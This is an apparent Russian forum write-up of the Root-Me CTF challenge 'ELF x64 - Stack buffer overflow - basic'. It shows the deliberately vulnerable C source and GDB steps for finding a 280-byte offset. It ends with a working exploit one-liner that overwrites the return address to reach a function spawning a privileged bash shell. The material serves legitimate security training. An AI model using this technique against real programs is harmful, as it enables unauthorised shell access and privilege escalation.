• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Root-Me, App-System, ELF x64 - Stack buffer overflow - basic

fuzzz

Green Team
03.02.2019
249
468
BIT
2
ELF x64 - Stack buffer overflow - basic

Environment configuration :


PIEPosition Independent Executable
pas_valide-2baa1.png
RelRORead Only relocations
valide-0e9a7.png
NXNon-Executable Stack
valide-0e9a7.png
Heap execNon-Executable Heap
valide-0e9a7.png
ASLRAddress Space Layout Randomization
valide-0e9a7.png
SFSource Fortification
pas_valide-2baa1.png
SSPStack-Smashing Protection
pas_valide-2baa1.png
SRCSource code access
valide-0e9a7.png

Source code :
C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/

void callMeMaybe(){
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}

int main(int argc, char **argv){

    char buffer[256];
    int len, i;

    scanf("%s", buffer);
    len = strlen(buffer);

    printf("Hello %s\n", buffer);

    return 0;
}

Решение
Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию callMeMaybe(), которая в свою очередь даст нам оболочку и заветный флаг для прохождения уровня.

И так запускаем нашу программу под отладчиком GDB

gdb -q ./ch35

И дизассемблируем функцию callMeMaybe() для того чтобы узнать её адрес.

disas callMeMaybe

Z3v6ShO.png


Адрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по воспользуемся генератором для создания паттернов.

vOjjBe9.png


Запускаем программу под отладчиком

run

и скармливаем строку

Код:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq


zz3izqI.png


Полученный адрес ничего не дал

pHtOF8x.png


Посмотрим что это за адрес в памяти

x/x 0x000000000040068e

CwDoyLv.png


Видно что этот адрес , есть в главной функции.

Посмотрим...

disas main

J0cSWEN.png



Это адрес возврата из главной функции. И это значение находится в регистре RIP (EIP).
Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры

i r

rSjBHTe.png


Как и всегда нас интересуют 3 регистра

Код:
rbp            0x41326a41316a4130       0x41326a41316a4130
rsp            0x7fffaf1af7c8   0x7fffaf1af7c8
rip            0x40068e 0x40068e <main+102>

RIP указывает на текущую инструкцию там у нас адрес возврата из главной функции
RSP на верхушку стека
RBP относительного него записываются локальные переменные и аргументы в стеке
Тут видно что RBP перезаписан посмотрим...

RUhryAL.png


А вот и смещение - 272 байта.

Проверим так ли это...

3eEidZp.png


Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали.

Теперь составим сам эксплойт

python -c 'print "A"*280 + "\xe7\x05\x40\x00\x00\x00\x00\x00" ' > /tmp/exploit

(cat /tmp/exploit; cat) | ./ch35

Запускаем и получаем заветный флаг.

QLNXeYf.png


Вот так вот можно было получить флаг.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!